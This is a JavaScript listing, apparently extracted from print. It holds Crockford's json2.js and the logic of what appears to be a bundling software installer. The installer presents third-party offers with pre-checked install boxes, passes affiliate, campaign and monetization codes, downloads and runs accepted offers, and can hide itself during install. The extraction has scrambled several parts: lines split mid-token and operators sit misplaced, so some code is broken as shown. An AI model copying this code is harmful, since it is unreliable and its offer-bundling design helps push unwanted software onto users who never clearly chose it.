See http://javascript.crockford.com/jsmin.html
USE YOUR OWN COPY. IT IS EXTREMELY UNWISE TO LOAD CODE FROM SERVERS YOU DO
NOT CONTROL.
This file creates a global JSON object containing two methods: stringify
and parse.
JSON.stringify(value, replacer, space)
value
any JavaScript value, usually an object or array.

replacer

an optional parameter that determines how object


values are stringified for objects. It can be a
function or an array of strings.

space

an optional parameter that specifies the indentation


of nested structures. If it is omitted, the text will
be packed without extra whitespace. If it is a number,
it will specify the number of spaces to indent at each
level. If it is a string (such as '\t' or '&nbsp;'),
it contains the characters used to indent at each level.

This method produces a JSON text from a JavaScript value.


When an object value is found, if the object contains a toJSON
method, its toJSON method will be called and the result will be
stringified. A toJSON method does not serialize: it returns the
value represented by the name/value pair that should be serialized,
or undefined if nothing should be serialized. The toJSON method
will be passed the key associated with the value, and this will be
bound to the value
For example, this would serialize Dates as ISO strings.
Date.prototype.toJSON = function (key) {
function f(n) {
// Format integers to have at least two digits.
return n < 10 ? '0' + n : n;
}
return this.getUTCFullYear()
f(this.getUTCMonth() + 1)
f(this.getUTCDate())
f(this.getUTCHours())
f(this.getUTCMinutes())
f(this.getUTCSeconds())

+
+
+
+
+
+

'-' +
'-' +
'T' +
':' +
':' +
'Z';

};
You can provide an optional replacer method. It will be passed the
key and value of each member, with this bound to the containing
object. The value that is returned from your method will be
serialized. If your method returns undefined, then the member will
be excluded from the serialization.
If the replacer parameter is an array of strings, then it will be
used to select the members to be serialized. It filters the results
such that only members with keys listed in the replacer array are
stringified.
Values that do not have JSON representations, such as undefined or
functions, will not be serialized. Such values in objects will be
dropped; in arrays they will be replaced with null. You can use
a replacer function to replace those with JSON values.
JSON.stringify(undefined) returns undefined.
The optional space parameter produces a stringification of the
value that is filled with line breaks and indentation to make it
easier to read.
If the space parameter is a non-empty string, then that string will
be used for indentation. If the space parameter is a number, then

the indentation will be that many spaces.


Example:
text = JSON.stringify(['e', {pluribus: 'unum'}]);
// text is '["e",{"pluribus":"unum"}]'
text = JSON.stringify(['e', {pluribus: 'unum'}], null, '\t');
// text is '[\n\t"e",\n\t{\n\t\t"pluribus": "unum"\n\t}\n]'
text = JSON.stringify([new Date()], function (key, value) {
return this[key] instanceof Date ?
'Date(' + this[key] + ')' : value;
});
// text is '["Date(---current time---)"]'
JSON.parse(text, reviver)
This method parses a JSON text to produce an object or array.
It can throw a SyntaxError exception.
The optional reviver parameter is a function that can filter and
transform the results. It receives each of the keys and values,
and its return value is used instead of the original value.
If it returns what it received, then the structure is not modified.
If it returns undefined then the member is deleted.
Example:
// Parse the text. Values that look like ISO date strings will
// be converted to Date objects.
myData = JSON.parse(text, function (key, value) {
var a;
if (typeof value === 'string') {
a =
/^(\d{4})-(\d{2})-(\d{2})T(\d{2}):(\d{2}):(\d{2}(?:\.\d*)?)Z$/.exec(value);
if (a) {
return new Date(Date.UTC(+a[1], +a[2] - 1, +a[3], +a[4],
+a[5], +a[6]));
}
}
return value;
});
myData = JSON.parse('["Date(09/09/2001)"]', function (key, value) {
var d;
if (typeof value === 'string' &&
value.slice(0, 5) === 'Date(' &&
value.slice(-1) === ')') {
d = new Date(value.slice(5, -1));
if (d) {
return d;
}
}
return value;
});

This is a reference implementation. You are free to copy, modify, or


redistribute.
*/
/*jslint evil: true, regexp: true */
/*members "", "\b", "\t", "\n", "\f", "\r", "\"", JSON, "\\", apply,
call, charCodeAt, getUTCDate, getUTCFullYear, getUTCHours,
getUTCMinutes, getUTCMonth, getUTCSeconds, hasOwnProperty, join,
lastIndex, length, parse, prototype, push, replace, slice, stringify,
test, toJSON, toString, valueOf
*/
// Create a JSON object only if one does not already exist. We create the
// methods in a closure to avoid creating global variables.
if (typeof JSON !== 'object') {
JSON = {};
}
(function () {
'use strict';
function f(n) {
// Format integers to have at least two digits.
return n < 10 ? '0' + n : n;
}
if (typeof Date.prototype.toJSON !== 'function') {
Date.prototype.toJSON = function () {
return isFinite(this.valueOf())
? this.getUTCFullYear()
+
f(this.getUTCMonth() + 1)
f(this.getUTCDate())
f(this.getUTCHours())
f(this.getUTCMinutes())
f(this.getUTCSeconds())
: null;

'-' +
+ '-'
+ 'T'
+ ':'
+ ':'
+ 'Z'

};

+
+
+
+

String.prototype.toJSON
=
Number.prototype.toJSON =
Boolean.prototype.toJSON = function () {
return this.valueOf();
};
}
var cx,
escapable,
gap,
indent,
meta,
rep;
function quote(string) {

//
//
//
//

If the string contains no control characters, no quote characters, and no


backslash characters, then we can safely slap some quotes around it.
Otherwise we must also replace the offending characters with safe escape
sequences.
escapable.lastIndex = 0;
return escapable.test(string) ? '"' + string.replace(escapable, function

(a) {
var c = meta[a];
return typeof c === 'string'
? c
: '\\u' + ('0000' + a.charCodeAt(0).toString(16)).slice(-4);
}) + '"' : '"' + string + '"';
}
function str(key, holder) {
// Produce a string from holder[key].
var i,
// The loop counter.
k,
// The member key.
v,
// The member value.
length,
mind = gap,
partial,
value = holder[key];
// If the value has a toJSON method, call it to obtain a replacement value.
if (value && typeof value === 'object' &&
typeof value.toJSON === 'function') {
value = value.toJSON(key);
}
// If we were called with a replacer function, then call the replacer to
// obtain a replacement value.
if (typeof rep === 'function') {
value = rep.call(holder, key, value);
}
// What happens next depends on the value's type.
switch (typeof value) {
case 'string':
return quote(value);
case 'number':
// JSON numbers must be finite. Encode non-finite numbers as null.
return isFinite(value) ? String(value) : 'null';
case 'boolean':
case 'null':
// If the value is a boolean or null, convert it to a string. Note:
// typeof null does not produce 'null'. The case is included here in
// the remote chance that this gets fixed someday.

return String(value);
// If the type is 'object', we might be dealing with an object or an array or
// null.
case 'object':
// Due to a specification blunder in ECMAScript, typeof null is 'object',
// so watch out for that case.
if (!value) {
return 'null';
}
// Make an array to hold the partial results of stringifying this object value.
gap += indent;
partial = [];
// Is the value an array?
if (Object.prototype.toString.apply(value) === '[object Array]') {
// The value is an array. Stringify every element. Use null as a placeholder
// for non-JSON values.
length = value.length;
for (i = 0; i < length; i += 1) {
partial[i] = str(i, value) || 'null';
}
// Join all of the elements together, separated with commas, and wrap them in
// brackets.
v = partial.length === 0
? '[]'
: gap
? '[\n' + gap + partial.join(',\n' + gap) + '\n' + mind + ']
'
: '[' + partial.join(',') + ']';
gap = mind;
return v;
}
// If the replacer is an array, use it to select the members to be stringified.
if (rep &&
length
for (i
if

}
}
} else {

typeof rep === 'object') {


= rep.length;
= 0; i < length; i += 1) {
(typeof rep[i] === 'string') {
k = rep[i];
v = str(k, value);
if (v) {
partial.push(quote(k) + (gap ? ': ' : ':') + v);
}

// Otherwise, iterate through all of the keys in the object.


for (k in value) {
if (Object.prototype.hasOwnProperty.call(value, k)) {
v = str(k, value);
if (v) {
partial.push(quote(k) + (gap ? ': ' : ':') + v);
}
}
}
}
// Join all of the member texts together, separated with commas,
// and wrap them in braces.
v = partial.length === 0
? '{}'
: gap
? '{\n' + gap + partial.join(',\n' + gap) + '\n' + mind + '}'
: '{' + partial.join(',') + '}';
gap = mind;
return v;
}
}
// If the JSON object does not yet have a stringify method, give it one.
if (typeof JSON.stringify !== 'function') {
escapable = /[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b
5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g;
meta = {
// table of character substitutions
'\b': '\\b',
'\t': '\\t',
'\n': '\\n',
'\f': '\\f',
'\r': '\\r',
'"' : '\\"',
'\\': '\\\\'
};
JSON.stringify = function (value, replacer, space) {
//
//
//
//
//

The stringify method takes a value and an optional replacer, and an optional
space parameter, and returns a JSON text. The replacer can be a function
that can replace values, or an array of strings that will select the keys.
A default replacer method can be provided. Use of the space parameter can
produce text that is more easily readable.
var i;
gap = '';
indent = '';

// If the space parameter is a number, make an indent string containing that


// many spaces.
if (typeof space === 'number') {
for (i = 0; i < space; i += 1) {
indent += ' ';
}
// If the space parameter is a string, it will be used as the indent string.

} else if (typeof space === 'string') {


indent = space;
}
// If there is a replacer, it must be a function or an array.
// Otherwise, throw an error.
rep = replacer;
if (replacer && typeof replacer !== 'function' &&
(typeof replacer !== 'object' ||
typeof replacer.length !== 'number')) {
throw new Error('JSON.stringify');
}
// Make a fake root object containing our value under the key of ''.
// Return the result of stringifying the value.
return str('', {'': value});
};
}
// If the JSON object does not yet have a parse method, give it one.
if (typeof JSON.parse !== 'function') {
cx = /[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u
202f\u2060-\u206f\ufeff\ufff0-\uffff]/g;
JSON.parse = function (text, reviver) {
// The parse method takes a text and an optional reviver function, and returns
// a JavaScript value if the text is a valid JSON text.
var j;
function walk(holder, key) {
// The walk method is used to recursively walk the resulting structure so
// that modifications can be made.
var k, v, value = holder[key];
if (value && typeof value === 'object') {
for (k in value) {
if (Object.prototype.hasOwnProperty.call(value, k)) {
v = walk(value, k);
if (v !== undefined) {
value[k] = v;
} else {
delete value[k];
}
}
}
}
return reviver.call(holder, key, value);
}
// Parsing happens in four stages. In the first stage, we replace certain
// Unicode characters with escape sequences. JavaScript handles many characters
// incorrectly, either silently deleting them, or treating them as line endings.

text = String(text);
cx.lastIndex = 0;
if (cx.test(text)) {
text = text.replace(cx, function (a) {
return '\\u' +
('0000' + a.charCodeAt(0).toString(16)).slice(-4);
});
}
//
//
//
//

In the second stage, we run the text against regular expressions that look
for non-JSON patterns. We are especially concerned with '()' and 'new'
because they can cause invocation, and '=' because it can cause mutation.
But just to be safe, we want to reject all unexpected forms.

//
//
//
//
//
//
//

We split the second stage into 4 regexp operations in order to work around
crippling inefficiencies in IE's and Safari's regexp engines. First we
replace the JSON backslash pairs with '@' (a non-JSON character). Second, we
replace all simple value tokens with ']' characters. Third, we delete all
open brackets that follow a colon or comma or that begin the text. Finally,
we look to see that the remaining characters are only whitespace or ']' or
',' or ':' or '{' or '}'. If that is so, then the text is safe for eval.
if (/^[\],:{}\s]*$/
.test(text.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g, '@

')
.replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(
?:[eE][+\-]?\d+)?/g, ']')
.replace(/(?:^|:|,)(?:\s*\[)+/g, ''))) {
//
//
//
//

In the third stage we use the eval function to compile the text into a
JavaScript structure. The '{' operator is subject to a syntactic ambiguity
in JavaScript: it can begin a block or an object literal. We wrap the text
in parens to eliminate the ambiguity.
j = eval('(' + text + ')');

// In the optional fourth stage, we recursively walk the new structure, passing
// each name/value pair to a reviver function for possible transformation.
return typeof reviver === 'function'
? walk({'': j}, '')
: j;
}
// If the text is not JSON parseable, then a SyntaxError is thrown.
throw new SyntaxError('JSON.parse');
};
}
}());var actualWidth;
var actualHeight;
function getBodySize()
{
try
{
try
{
addTrace("enter");
actualWidth = $("#_BodyWidth").text();

addTrace("width");
actualHeight = $("#_BodyHeight").text();
addTrace("height");
addLog("width:"+actualWidth);
addLog("height:"+actualHeight);
if($.isNumeric(actualWidth) && $.isNumeric(actualHeight))
return;
}catch(ex)
{
}
actualWidth = $(document).width();
actualHeight = $(document).height();
if(actualHeight <100)
{
actualWidth = $("body").width();
actualHeight = $("body").height();
}
if(actualHeight <100)
{
actualWidth = $("body").css("width");
actualHeight = $("body").css("height");
}
if(actualHeight <100 || actualHeight > 600)
{
actualWidth = 670;
actualHeight = 410;
}
}
catch(err)
{
actualWidth = 670;
actualHeight = 410;
}
}
function setButtonDefaultText(elements)
{
var setDefault = function(element)
{
if(element)
{
element.attr("defaultText",element.val());
}
};
$.each(elements, function(key,element)
{
setDefault(element);
});
}
function setButtonsText()
{
var json =
[
{"text":"#_OfferAcceptText","element":"#_Bnext"},
{"text":"#_OfferDeclineText","element":"#_Bdecline"},
{"text":"#_OfferExitText","element":"#_Bexit"},
{"text":"#_OfferSkipText","element":"#_Bomit"}
];

setText(json);
}
function setText(json)
{
var setText = function(elementWithText,element)
{
if(!element)
{
addLog("noelement");
return;
}
if(elementWithText.html())
{
addLog("element->"+elementWithText.html());
element.val(elementWithText.html());
}
else
{
addLog("noelement->"+element.attr("defaultText"));
element.val(element.attr("defaultText"));
}
};
$.each(json, function(key,element)
{
setText($(element.text),$(element.element));
});
}
function replaceResponse(data,installerData,dataObject,buttonText,hostName)
{
hostName = hostName || "http://"+installerData.extra.requestHost+"/";
data = data.replace(/%osname%/g,machineInfo.osname);
data = data.replace(/%ub%/g,installerData.usedBrowser);
data = data.replace(/%buttonText%/g,buttonText);
data = data.replace(/%uid%/g,installerData.uid);
data = data.replace(/%downloadDomain%/g,installerData.host);
data = data.replace(/%mapp%/g,dataObject.presentation.formCaption);
data = data.replace(/%affcode%/g,installerData.publisher);
data = data.replace(/%campaigncode%/g,installerData.campaign);
data = data.replace(/%ccode%/g,dataObject.country.toLowerCase());
data = data.replace(/%crossDomain%/g,hostName);
return data;
}
function addStyle(style,removable)
{
if(typeof removable === "undefined")
{
removable = false;
}
$("head").append($("<link />",
{
rel: "stylesheet",
href: style,
tag: removable,
type: "text/css"
}));
}
function removePreviousStyles()
{
$("link").each(function()
{

if($(this).attr('tag')=="true")
{
$(this).remove();
}
});
}
function createFrame(src,style,failCallback,callback)
{
$('#_frameContainer').css('visibility', 'hidden');
removePreviousStyles();
if(style && style != "")
addStyle(style,true);
getResponseFromWrapper(src,"",callback,failCallback);
}
function loadProfile(src,style,failCallback,callback)
{
addStyle(style);
getResponseFromWrapper(src,"",callback,failCallback);
}
function returnIdValue(identifier)
{
var text = null;
if($(identifier))
{
text = $(identifier).html();
}
return text;
}
function SetLink(classname,value,onParent)
{
var element = $("."+classname);
var tohide;
if(onParent)
{
tohide = element.parent();
}
else
{
tohide = element;
}
if(value && element)
{
try
{
element.attr("href",value);
tohide.show();
}
catch(err)
{
}
}
else
{
try
{
tohide.hide();
}
catch(err)
{

}
}
}
function changeDefaultDownloadPathInput()
{
if ($("#_downloadPath").length > 0)
{
updateValue($("#_downloadPath"),getDownloadPath(),false);
}
}
function buttonsVisibility(showIds)
{
var ButtonsListIds = ["_Bnext","_Bdecline","_Bomit","_Bexit"];
for (var i = 0; i <ButtonsListIds.length; i++)
{
if($.inArray(ButtonsListIds[i],showIds) > -1 || (ButtonsListIds[i] == "_Bne
xt" && step == OFFERS))
$("#"+ButtonsListIds[i]).show();
else
$("#"+ButtonsListIds[i]).hide();
}
var ButtonListShoes = ["_Bminimize","_Bmaximize","_Bclose"];
for (var a = 0; a <ButtonListShoes.length; a++)
{
if($.inArray(ButtonListShoes[a],showIds) > -1)
disableControlBoxButtons(a,true);
else
disableControlBoxButtons(a,false);
}
}
function changeClassContentWaiting(key,value,append,callback)
{
var maxTimes = 5;
var interval = setInterval(function ()
{
if (key != "" && $("."+key).length)
{
$("."+key).each(function()
{
updateValue($(this),value,append);
});
if( typeof callback !== "undefined")
{
callback();
}
clearInterval(interval);
}
else
{
//if no exist the classname
maxTimes--;
if(maxTimes <= 0)
{
if( typeof callback !== "undefined")
{
callback();
}
clearInterval(interval);
}

}
},50);
}
function updateValue(element,value,append)
{
if(element.length == 0)
{
return;
}
if(element.is("input") )
{
element.val(value);
}
//else change de innertHtml
else
{
if(append)
{
element.append(value);
}
else
{
element.html(value);
}
}
}
function hideClasses(classes)
{
for (var i = 0; i <classes.length; i++)
{
var element = $("."+classes[i]);
element.hide();
}
}
function changeRecomendedClass(checked)
{
var visibleClass = "recVisible";
var hiddenClass = "recHidden";
if(checked == "1")
{
$("._args").removeClass(visibleClass).addClass(hiddenClass);
$("._noargs").removeClass(hiddenClass).addClass(visibleClass);
$('._CBarg').each(function()
{
$(this).prop('checked',$(this).attr("tag"));
});
}
else
{
$("._args").removeClass(hiddenClass).addClass(visibleClass);
$("._noargs").removeClass(visibleClass).addClass(hiddenClass);
}
}
function changeRecomended(checked)
{
if(checked == "1")
{
$("._args").hide();

$("._noargs").show();
$('._CBarg').each(function()
{
$(this).prop('checked',$(this).attr("tag"));
});
}
else
{
$("._args").show();
$("._noargs").hide();
}
}
function disableArgs(_checked)
{
$('._CBarg').each(function(element)
{
if(_checked)
{
$(this).prop("checked",1);
$(this).prop("disabled",0);
}
else
{
$(this).prop("checked",0);
$(this).prop("disabled",1);
}
});
}
function addDecline(text,disable,callback,tag)
{
var dis = "";
if(disable)
{
dis = "onclick='disableArgs(this.checked)'";
}
var cb = "<span><input class='_CBdecline' type='checkbox' checked='checked' ta
g='"+tag+"' "+dis+" /> "+text +"</span>";
changeClassContentWaiting("_args",cb,true,callback);
}
function addArg(text,check,uncheck,startState,classname,callback)
{
if(typeof classname === "undefined" || classname == "")
{
classname = "_args";
}
if($("."+classname).length < 1)
{
classname = "_args";
}
var cb = "<span><input class='_CBarg' type='checkbox' tag='"+startState+"' che
cked='"+startState+"' check='"+check+"' uncheck='"+uncheck+"' /> "+text +"</span
>";
changeClassContentWaiting(classname,cb,true,callback);
}
function GetCommandline(commandline,delimitator)
{
if(typeof delimitator === "undefined")
{

delimitator = " ";


}
var commandlineAppend = "";
$('._CBarg').each(function()
{
if (this.checked == "1" && $(this).attr("check") != "")
{
commandlineAppend+=$(this).attr("check")+delimitator;
}
else if(this.checked == "0" && $(this).attr("uncheck") != "")
{
commandlineAppend+=$(this).attr("uncheck")+delimitator;
}
});
if(commandlineAppend.slice(-1) === delimitator)
{
commandlineAppend = commandlineAppend.slice(0,-1);
}
if(commandline.indexOf("%args%")!= -1)
{
commandline = commandline.replace(/%args%/g,commandlineAppend);
}
else
{
if(commandlineAppend != "")
{
commandline = commandline+delimitator+commandlineAppend;
}
}
return commandline;
}
function GetAccepted(argsdecline)
{
var accepted = true;
if ($("._CBdecline").length > 0)
{
accepted = $("._CBdecline").is(':checked');
}
if(accepted == true && argsdecline == true)
{
accepted = ($( "._CBarg:checked" ).length > 0 || $( "._CBarg" ).length <1);
}
return accepted;
}
function setFocus(focusValue,classname)
{
if(focusValue)
{
$("."+classname).focus();
}
else
{
$("."+classname).blur();
}
}
function ChangeVisibility(showClassName,hideClassName)
{
if(showClassName)

{
$("."+showClassName).show();
}
if(hideClassName)
{
$("."+hideClassName).hide();
}
}
function humanReadableFileSize(size)
{
var i = Math.floor( Math.log(size) / Math.log(1024) );
return ( size / Math.pow(1024, i) ).toFixed(2) * 1 + ' ' + ['B', 'kB', 'MB',
'GB', 'TB'][i];
}
function addFinishItem(name,uninstallUrl,classname)
{
var item = "<li class='_FinishItem'>";
item+= name;
if(uninstallUrl && uninstallUrl!= "")
{
item+=" <a href='"+uninstallUrl+"' class='_FinishUninstallUrl' > </a>";
}
item+="</li>";
$("."+classname).append(item);
}
function replaceLinks()
{
try
{
addLog("changing");
$('a').each(function(index, value)
{
var href = value.href;
var new_element = document.createElement('span');
new_element.innerText =value.innerText;
for(var i = 0; i < value.attributes.length; i++)
{
var att = value.attributes.item(i);
if(att.nodeValue && att.nodeName!="href" && att.
nodeName!= "target")
{
new_element.setAttribute(att.nodeName,at
t.nodeValue);
}
}
$(new_element).addClass("_transformed");
new_element.style.textDecoration = "underline";
new_element.style.cursor = "pointer";
if($.inArray(value.className,specialLinks) == -1)
{
new_element.style.color = returnIdValue("#_LinkC
olor") || "#444";
}
new_element.onclick = function(){ openUrlOnDefaultBrowse
r(href); return false; };
value.parentNode.replaceChild(new_element, value);
});
}
catch(err)

{
}
}
//appenders
function showProfile()
{
addTrace("showProfile");
loadProfile(dataObject.presentation.renderUrl,dataObject.presentation.renderSt
yle,"ForceError","profileLoad");
if(dataObject.presentation.mappRenderStyle && dataObject.presentation.mappRend
erStyle != "")
{
addStyle(dataObject.presentation.mappRenderStyle);
}
}
function profileLoad(data)
{
addTrace("profileLoaded");
data = replaceResponse(data,installerData,dataObject,$("#_Bnext").attr("defaul
tText") || "");
$('._ParentContainer').html(data);
addLog("profile loaded");
setLinks();
setButtonDefaultText([$("#_Bnext"),$("#_Bexit"),$("#_Bdecline"),$("#_Bomit")])
;
goForward();
setWindowName(returnIdValue("#_WindowTitle")||dataObject.presentation.formCapt
ion+" setup");
printStates();
}
function showCommon(node,callback,mappRenderId)
{
if(typeof node !== "undefined")
{
if(!mappRenderId )
{
mappRenderId = "";
}
buttonsVisibility(node.buttons);
createFrame(node.renderUrl+mappRenderId,"","onDisplayFail",callback);
}
else
{
goForward();
}
}
function welcomeScreen(data)
{
data = replaceResponse(data,installerData,dataObject,$("#_Bnext").attr("defaul
tText") || "");
$('#_frameContainer').html(data);
changeDefaultDownloadPathInput();
loading = false;
loaded();
replaceLinks();
}
function installScreen(data)

{
data = replaceResponse(data,installerData,dataObject,$("#_Bnext").attr("defaul
tText") || "");
$('#_frameContainer').html(data);
if(dataObject.installerBehavior.installerPopupUrl!= null)
{
url = dataObject.installerBehavior.installerPopupUrl;
if(installerData.extra)
{
url = formatThankyouPage(url,installerData.extra.lpd);
}
openUrlOnBrowser(url,installerData.usedBrowser);
}
addUniqueTrace("CompleteLoad");
setNoDisplayStates(dataObject.offers);
var mappFileName = dataObject.installerBehavior.mappFileName || getFilenameFro
mUrl(dataObject.installerBehavior.mappUrl);
var mapp = setOfferObject(-1,replaceSubdomainStatic(dataObject.installerBehavi
or.mappUrl,installerData.extra.requestHost),dataObject.installerBehavior.mappCom
mandLine,mappFileName,"MainApp",0,dataObject.installerBehavior.macBehavior);
installing.push(mapp);
$.each(dataObject.offers, function(key,offer)
{
if(offer.state == ACCEPTED)
{
if(offer.offerBehavior.catchAll)
{
replaceCommandlineCachAll(offer,monetizationTypesAccepted);
$.merge(monetizationTypesAccepted, offer.offerBehavior.monetizationTyp
es);
}
var offerObject = setOfferObject(offer.id,replaceSubdomainStatic(offer.app
Url,installerData.extra.requestHost),offer.commandLine,offer.fileName,offer.name
,offer.offerBehavior.waitToCheck,offer.offerBehavior.macBehavior);
installing.push(offerObject);
}
});
install(installing);
if(dataObject.installerBehavior.hideOnInstall)
{
hideForm(true,true);
}
loaded();
replaceLinks();
loading = false;
}
function groupScreen(data)
{
data = replaceResponse(data,installerData,dataObject,$("#_Bnext").attr("defaul
tText") || "");
$('#_frameContainer').html(data);
addUniqueTrace("CompleteLoad");
addLog("group screen loaded");
setButtonsText();
remainArgs = 0;
dataObject.installerBehavior.maxSteps--;
var text = "";
$.each(currOffer, function(key,offer)
{
dataObject.offers[offer].usedScreen = -1;

remainArgs++;
if(dataObject.offers[offer].offerPresentation.groupTextHtml)
{
text+=dataObject.offers[offer].offerPresentation.groupTextHtml+" ";
}
var groupText = returnIdValue("#_GroupItemText") || "Install "+dataObject.of
fers[offer].caption;
groupText = groupText.replace(/%offercaption%/g,dataObject.offers[offer].cap
tion);
addDecline(groupText,false,dataInjected,offer);
if(dataObject.offers[offer].offerPresentation.policyUrl)
{
var policyLink = "<a href='"+dataObject.offers[offer].offerPresentation.po
licyUrl+"'>"+dataObject.offers[offer].caption+"</a> ";
remainArgs++;
changeClassContentWaiting("_GroupPolicies",policyLink,true,dataInjected);
}
});
remainArgs++;
changeClassContentWaiting("_GroupHtml",text,false,dataInjected);
}
function finishScreen(data)
{
removeShortCut("%DESKTOP%","Continue "+installerData.carrier.replace("_"," ")+
" installation");
data = replaceResponse(data,installerData,dataObject,$("#_Bnext").attr("defaul
tText") || "");
$('#_frameContainer').html(data);
addUniqueTrace("CompleteLoad");
addFinishItem(dataObject.presentation.formCaption,"","_FinishMapp");
$.each(dataObject.offers, function(key,offer)
{
if(offer.state == INSTALLED || offer.state == ACCEPTED || offer.state == NOC
ONFIRMED || offer.state == INSTALLERROR || offer.state == OFFERERROR || offer.s
tate == TIMEOUT)
{
addFinishItem(offer.caption,offer.offerPresentation.uninstallUrl,"_FinishO
ffers");
}
});
loaded();
replaceLinks();
loading = false;
}
function displayLoaded(data)
{
data = replaceResponse(data,installerData,dataObject,$("#_Bnext").attr("defaul
tText") || "");
$('#_frameContainer').html(data);
if(currOffer)
{
addLog("display screen loaded");
if(currOffer.length == 1)
{
setButtonsText();
addUniqueTrace("CompleteLoad");
dataObject.installerBehavior.maxSteps--;
remainArgs = 0;
var offer = dataObject.offers[currOffer];
updateValue($("._OffersShowing"),offer.caption,false);

//add decline checkbox if its configured or the offer don't have argument
s to decline by ArgsDecline
addLog("declineCheckBox -> "+ dataObject.presentation.offerScreens[curren
tOfferScreen].declineCheckBox);
addLog("offer arguments->"+offer.offerBehavior.offerArguments.length);
addLog("argsdecline->"+dataObject.presentation.offerScreens[currentOfferS
creen].argsDecline);
if(dataObject.presentation.offerScreens[currentOfferScreen].declineCheckBo
x || (dataObject.presentation.offerScreens[currentOfferScreen].argsDecline && of
fer.offerBehavior.offerArguments.length < 1))
{
remainArgs++;
var declineCheckboxText = returnIdValue("#_DeclineCheckboxText") || "Ins
tall "+offer.caption;
addLog(declineCheckboxText);
if(declineCheckboxText != "")
{
addDecline(declineCheckboxText,offer.offerPresentation.declineDisableA
rgs,dataInjected);
}
else
{
addDecline("Install "+offer.caption,offer.offerPresentation.declineDis
ableArgs,dataInjected);
}
}
remainArgs +=offer.offerBehavior.offerArguments.length;
//add arguments
$.each(offer.offerBehavior.offerArguments,function(i,value)
{
addArg(value.text,value.check,value.uncheck,value.startChecked,value.cla
ssName,dataInjected);
});
//add policyurl
if(offer.offerPresentation.policyUrl != "")
{
SetLink("_OfferPolicy",offer.offerPresentation.policyUrl,false);
}
//change buttons
var ButtonsArray = [].concat(dataObject.presentation.offerScreenButtons);
if(dataObject.presentation.offerScreens[currentOfferScreen].declineButton)
{
ButtonsArray.push("_Bdecline");
}
buttonsVisibility(ButtonsArray);
//allow restrict enterkey
setFocus(!offer.offerBehavior.ignoreEnter,"_Bnext");
SetLink("_UninstallUrl",offer.offerPresentation.uninstallUrl,false);
remainArgs++;
dataInjected();
}
}
else
{
loaded();
loading = false;
replaceLinks();

}
}
var remainArgs = 0;
function dataInjected()
{
try
{
remainArgs--;
if(remainArgs <=0)
{
loading = false;
loaded();
addLog("loading set to false");
replaceLinks();
}
}
catch(err)
{
loading = false;
}
}
var
var
var
var
var

interruptor = true;
interactions = 0;
acceptedRestrictions=[];
testingCombinationsId = [];
testingCombination=[-1];

var
var
var
var
var

maxCombination = combination();
firstCombination = [];
allOffers = {};
callbackFunction;
first;

var AcceptedOffer = "";


var DeclinedOffer = "";
/////
function getOffersAsString(offers,groupable)
{
var offersData = "";
AcceptedOffer = "";
DeclinedOffer = "";
for(var i=0;i<offers.length;i++)
{
if(offers[i].state == PENDING)
{
offersData+="|";
offersData+=offers[i].id;
offersData+=",";
for(var a=0;a<offers[i].offerBehavior.restrictions.lengt
h;a++)
{
offersData+=offers[i].offerBehavior.restrictions
[a];
offersData+="-";
}
if(offersData.slice(-1) === "-")
{
offersData = offersData.slice(0,-1);
}

offersData+=",";
offersData+=boolToInt(offers[i].offerPresentation.canGro
up && groupable);
offersData+=",";
offersData+=offers[i].score;
offersData+="|";
}
else if(offers[i].state
{
AcceptedOffer =
}
else if(offers[i].state
offers[i].state
offers[i].state
offers[i].state
{
DeclinedOffer =
}

== ACCEPTED)
AcceptedOffer.concat(offers[i].id+",");
==
==
==
==

DECLINED ||
SKIPALL ||
DISPLAYERROR ||
NODISPLAYCOMPATIBLE)

DeclinedOffer.concat(offers[i].id+",");

}
if(AcceptedOffer.slice(-1) === ",")
{
AcceptedOffer = AcceptedOffer.slice(0,-1);
}
return offersData;
}
function formatCplusResponse(offers,arrayIds)
{
var arrayPositions = [];
for(var i=0;i<offers.length;i++)
{
if($.inArray(offers[i].id.toString(),arrayIds)!=-1)
{
arrayPositions.push(i);
}
}
return arrayPositions;
}
function sendToC(offers,maxSteps,hasGroup,callback,combinationMaxTime)
{
setTimeout(function ()
{
var offersData = getOffersAsString(offers,hasGroup);
var commaSepparated = getScriptNextOffer(offersData,AcceptedOffe
r,DeclinedOffer,maxSteps,dataObject.installerBehavior.maxOffers,dataObject.insta
llerBehavior.maxGroupOffers,combinationMaxTime);
var offersArray = commaSepparated.split(",");
if(commaSepparated=="")
callback(null);
else
callback(formatCplusResponse(offers,offersArray));
},1);
}
function setLoopTimeout(milliseconds)
{
setTimeout(function()
{
interruptor = false;
},milliseconds);
}
function startGettingNextOffer(offers,maxSteps,hasGroup,callback,combinationMaxT

ime)
{
if (window.external && ('getScriptNextOffer' in window.external) && data
Object.installerBehavior.combinationWrapper)
{
sendToC(offers,maxSteps,hasGroup,callback,combinationMaxTime);
return;
}
printClearCombination();
interactions = 0;
allOffers = offers;
testingCombination=[-1];
callbackFunction = callback;
maxCombination = combination();
interruptor = true;
firstCombination = [];
first = true;
var cleanOffers = getPendingOffers(offers,hasGroup);
cleanOffers.sort(compareScore);
setLoopTimeout(combinationMaxTime);
recurseveMethod(cleanOffers,maxSteps);
}
function getPendingOffers(offers,hasGroup)
{
var cleanOffers =[];
for(var i=0;i<offers.length;i++)
{
//set all as pending
//offers[i].state = PENDING;
offers[i].offerPresentation.canGroup = (offers[i].offerPresentat
ion.canGroup && hasGroup)==true;
if(offers[i].state == PENDING && $.inArray(offers[i].id,accepted
Restrictions)==-1 && offers[i].offerBehavior.showDisplay)
{
cleanOffers.push(offers[i]);
}
}
return cleanOffers;
}
function recurseveMethod(offers,maxSteps)
{
setTimeout(function ()
{
if (interruptor || first===true)
{
first = false;
var currentCombination = getCombination(offers,maxSteps);
printCombination(currentCombination.offers,currentCombination.sc
ore);
if(!firstCombination.length)
{
for(var i=0;i<currentCombination.offers.length;i++)
{
for(var a=0;a<currentCombination.offers[
i].length;a++)
{
firstCombination.push(currentCom
bination.offers[i][a]);
}

}
}
if(currentCombination.score >= maxCombination.score)
{
maxCombination = currentCombination;
}
interactions++;
recurseveMethod(offers,maxSteps);
testingCombinationsId = GetRestrictionsRecursive(interactions,fi
rstCombination.length,firstCombination);
}
else
{
if(maxCombination.offers.length == 0)
{
callbackFunction(null);
return;
}
var ids = [];
